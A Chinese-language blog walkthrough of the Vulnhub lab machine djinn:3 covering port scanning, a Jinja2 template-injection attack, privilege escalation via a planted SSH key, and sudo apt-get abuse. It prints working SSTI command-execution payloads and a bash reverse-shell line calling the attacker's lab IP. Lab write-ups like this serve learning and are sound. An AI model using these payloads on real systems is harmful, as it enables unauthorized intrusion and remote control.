Vulnhub:djinn:3

作者: ink247 | 来源:发表于2022-01-08 02:51 被阅读0次

    一、前言

    通过大量vulnhub受控靶机积累一线攻防经验和技巧。

    二、环境

    靶机名称:djinn:3

    靶机难度:中级

    目标:有1个flag——/root/proof.sh

    攻击机:kali linux,IP地址192.168.100.9

    靶机:os-bytesec,IP地址192.168.100.36

    三、挑战过程

    图一

    1.扫描IP提供的IT服务——

    nmap -v -A -sV -T4 -p 1-65535 192.168.100.36

    图二

    2.web服务-80端口探索和目录爆破

    图三

    3.探索web服务-5000端口

    {{6*6}}

    {{().__class__.__base__.__subclasses__()[156].__init__.__globals__['__builtins__']['__import__']('os').popen('ls -la').read()}}

    4.创建反弹shell并监听

    利用SSTI漏洞反弹shell

    图四 图五 图六

    通过极其痛苦的尝试探索,终于反弹shell成功了,哭死。

    核心:

    A——{{().__class__.__base__.__subclasses__()[156].__init__.__globa__['__builtins__']['__import__']('os').popen('echo "#!/bin/bash\nbash -i >&dev/tcp/192.168.100.9/6666 0>&1" > ./b.sh').read()}}

    B——{{().__class__.__base__.__subclasses__()[156].__init__.__globa__['__builtins__']['__import__']('os').popen('chmod 777 b.sh').read()}}

    C——{{().__class__.__base__.__subclasses__()[156].__init__.__globa__['__builtins__']['__import__']('os').popen('./b.sh').read()}}

    图七 图八

    或者nc监听反弹shell

    图九 图十

    5.探索权限提升

    发现两个 pyc 文件——

    .py与.pyc文件区别

    原来Python的程序中,是把原始程序代码放在.py文件里,而Python会在执行.py文件的时候。将.py形式的程序编译成中间式文件(byte-compiled)的.pyc文件,这么做的目的就是为了加快下次执行文件的速度。

    所以,在我们运行python文件的时候,就会自动首先查看是否具有.pyc文件,如果有的话,而且.py文件的修改时间和.pyc的修改时间一样,就会读取.pyc文件,否则,Python就会读原来的.py文件。

    其实并不是所有的.py文件在与运行的时候都会产生.pyc文件,只有在import相应的.py文件的时候,才会生成相应的.pyc文件.

    渗透测试过程有文件考虑反编译——

    1.为了保护文件的完整性,我们拷贝其十六进制的数据,如何得到十六进制数据?使用 xxd 命令:

    需要copy内容的机器——xxd .configuration.cpython-38.pyc

    需要将内容在自己服务器反编译——vim configuration.pyc(Ctrl+Shift+V 粘贴上去,wq 保存退出)

    2.将其用 xxd 命令转化为二进制格式:

    xxd -r configure.pyc >> configure1.pyc

    3.uncompyle6 反编译,没有的使用 pip3 install uncompyle6 下载:

    uncompyle6 configure1.pyc >> configure.py

    4.uncompyle6只支持python2.8-3.8问题解决:

    我的python是3.9.8

    vim /usr/local/lib/python3.9/dist-packages/xdis/magics.py

    在add_canonic_versions里添加3.9.8保存退出即可解决不支持导致不可用问题

    图十一 图十二 图十三 图十四

    阅读一下源代码,在 syncer.py 文件中有 main 入口,我们从这里开始:可以看到提供了三种连接服务,分别为 FTP , SSH 和 URL。

    我们再打开 configure.py 可以看到,syncer.py 文件中调用了 configure.py 的两个方法,让我们继续看 configure.py 中的方法。syncer.py 首先调用了 set_config_path() 方法,从命名上我们也可以得出这是设置配置路径的意思。

    glob 方法是 glob 模块中的,它的功能相当于 windows 中的磁盘搜索文件,返回的元素是一个列表,从这里我们可以得出这里是得到 /home/saint 下的所有 json 文件[注意这个 saint ],以及得到 /tmp/ 目录下的所有 json 文件,然后把它俩合并成一个列表,并命名为 files。

    继续往下看:

    如果 files 的长度大于 2,这里就设置 files 前两个路径,后面的就是获取最后的文件名,然后比较得到的/home/saint/ 目录下的 json 文件名中的时间,和 /tmp/ 目录下的 json 文件名中的时间,如果 /tmp 目录下的时间比较早,就返回 /home下的,如果不是就返回 /tmp 下的。

    到这里我们就大概知道做什么了,我们可以在 /tmp 创建一个命名格式为:dd-mm-yyyy.config.json 的文件,内容为:

    [因为这里的 shell 不好创建文件,所以我们可以在 kali 先生成改 json 文件,然后使用 wget 命令下载该文件即可]

    图十五

    通过上述的 json 我们就可以把在 kali 生成的公钥传输到目标服务器上的 .ssh 目录中,即可实现免密登录,首先我们得生成公钥。

    SSH免密登录(参考链接:)——

    1.客户端生成公私钥

    本地客户端生成公私钥:(一路回车默认即可)

    ssh-keygen

    上面这个命令会在用户目录.ssh文件夹下创建公私钥

    cd ~/.ssh

    ls

    下创建两个密钥:

    id_rsa (私钥)

    id_rsa.pub (公钥)

    2.上传id_rsa.pub (公钥)到服务器~/.ssh目录,存储文件名为authorized_keys

    3.测试免密登录

    ssh saint@192.168.100.36

    图十六

    sudo -l查看是否可以进行越权,查看/etc/sudoers探索越权

    有了这个跟 root 同一组的用户,就可以读到一些只能root组和root读的文件:/etc/sudoers,该文件包含了能够让普通用户执行一些或者全部的root命令,如果该文件可以写入的话,我们可以把当前用户写入:r00t ALL=(ALL:ALL) ALL,这样当执行sudo su的时候,我们就可以进入到 root 了!但现在只有读权限,查看一波,可以发现有一个名为jason的用户可以以 root 身份执行 apt-get 命令,该用户不在/etc/passwd,我们可以通过创建这个用户来得到他的特权操作进行进一步越权。

    图十七 图十八

    apt-get 命令提权

    图十九 图二十 图二十

    四、总结

    风险点:

    1.SSTI

    2.31337提供的IT服务存在弱口令

    3.configure.py和syncer.py应该做混淆,避免反编译查看源码功能,同时其代码设计未很好考虑安全性和权限收缩

    4.sudo权限配置滥用

    五、疑问点

    1.【high】configure.py和syncer.py代码逻辑基本读懂,但是不是包含所有细节性对接全部弄懂!!!

    2.【high】SSTI漏洞不算彻底搞懂,需要找时间细细钻研!

    3.【high】apt-get提权逻辑知道怎么操作,但是有点懵!

    参考链接

    1.【思路】https://www.freesion.com/article/80361034498/

    2.【SSTI】https://www.cnblogs.com/bmjoker/p/13508538.html

    3.【ssh免密】https://blog.csdn.net/jeikerxiao/article/details/84105529

    4.【apt-get提权】https://gtfobins.github.io/

    相关文章

      网友评论

        本文标题:Vulnhub:djinn:3

        本文链接:https://www.haomeiwen.com/subject/lhhrcrtx.html